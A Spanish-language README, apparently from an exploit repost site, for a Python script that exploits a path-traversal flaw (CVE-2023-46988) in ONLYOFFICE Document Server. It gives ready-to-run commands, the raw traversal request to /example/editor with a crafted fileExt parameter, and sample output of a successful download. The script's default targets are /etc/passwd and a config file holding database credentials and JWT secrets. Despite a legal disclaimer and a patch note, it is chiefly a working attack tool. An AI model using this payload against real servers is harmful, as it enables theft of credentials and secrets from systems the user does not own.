Explotación de Path Traversal en ONLYOFFICE (CVE-2023-46988)

📌 Resumen

Este script explota una vulnerabilidad de path traversal en ONLYOFFICE Document Server (CVE-2023-46988) que permite a usuarios no autorizados copiar archivos arbitrarios del servidor. La vulnerabilidad existe en el endpoint /example/editor, donde el parámetro fileExt puede manipularse para acceder a archivos sensibles del sistema y de configuración.

⚠️ Aviso legal

Esta herramienta es solo para fines educativos y de investigación de seguridad autorizada.
El uso no autorizado contra sistemas sin permiso explícito es ilegal y poco ético.

🛠 Características

• Recupera archivos sensibles por defecto:
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json (contiene credenciales de base de datos y secretos JWT)
• Especifica cualquier ruta de archivo para recuperarla con el argumento --file.
• Admite proxy opcional para la interceptación con Burp Suite (--proxy).
• Admite verificación SSL opcional (--verify).
• Corrige problemas de codificación al descargar archivos con caracteres especiales.

🚀 Uso

1️⃣ Uso básico (recuperar archivos por defecto)

python onlyoffice_exploit.py http://localhost

Esto recupera:

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ Recuperar un archivo personalizado (p. ej., /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ Habilitar proxy (p. ej., Burp Suite en 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ Habilitar verificación SSL

python onlyoffice_exploit.py https://example.local --verify

5️⃣ Combinar proxy y verificación SSL

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 Cómo funciona

1. Envía una solicitud a /example/editor con un parámetro fileExt malicioso:
   root@kitploit:~

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. Extrae la URL de redirección de la respuesta.
3. Analiza el nombre de archivo redirigido de la respuesta.
4. Corrige problemas de codificación para caracteres especiales en nombres de archivo.
5. Descarga el archivo desde /example/download?fileName=<extracted_filename>.

🛠 Ejemplo de salida

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 Mitigación

ONLYOFFICE ha parcheado esta vulnerabilidad en su actualización de febrero de 2024.
Los usuarios deben actualizar a la última versión para proteger sus servidores.

🐜 Licencia

Este proyecto está licenciado bajo la Licencia MIT – consulta el archivo LICENSE para más detalles.